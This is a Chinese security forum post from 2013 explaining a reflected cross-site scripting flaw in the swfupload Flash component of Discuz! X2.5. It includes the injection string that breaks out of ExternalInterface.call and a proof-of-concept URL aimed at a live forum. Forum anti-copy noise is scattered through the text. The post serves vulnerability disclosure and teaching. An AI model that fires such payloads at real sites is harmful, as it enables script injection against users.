找回密码
 立即注册
查看: 2260|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
- n) m$ H+ J0 a% |  |$ X* X6 y* }6 F3 J  u2 V/ N
flash.external.ExternalInterface.call($methodName, $parameter)
. ^4 e4 R( t5 y7 a在浏览器中执行的是/ A4 K6 A! M# A; Z2 N' }
1 y, y: F1 x* y' F* _/ G! [# {
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}9 \; u) V. d% w2 k
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
- V. w$ E- \3 |- H
+ o* p! @) ~4 G+ t- M0 \9 {6 \flash.external.ExternalInterface.call("object."+$methodName, $parameter)
4 D1 @6 d5 T2 n  o7 o$methodName = a())}catch(e){alert(/xss/)}//. ]' T2 `7 X2 P/ I, b
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。0 I6 o! L: d, L- H( p7 u6 s

0 c( r5 f# k; T0 s  ztry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
$ R0 T% I0 @: V! k* D8 [
( X' y" [8 b$ N& T/ E这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )/ k6 }+ Y! [% a
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
5 l  T1 P3 l( X+ F' |+ z  J# B' K
6 m0 j# ~* W' b+ _, O) X. {
$ l2 E9 l+ ?! m9 E* u! e7 u
. P0 x. r% k) `6 X5 C# ?- E9 g漏洞文件:upload\static\image\common\swfupload.swf
9 y' U+ X4 X; \5 Q6 Z% V  V; n2 g! r$ u6 |
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
0 L! [9 M. r0 Q2 k- j7 v1 ?8 ]/ m/ b2 C8 `3 |/ J3 P- J. a+ [

' j0 s, y) x6 }/ D漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
9 D- ~. X% {& u( w2 j$ `+ z) A# q* D
% g1 w) F3 |% s6 U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表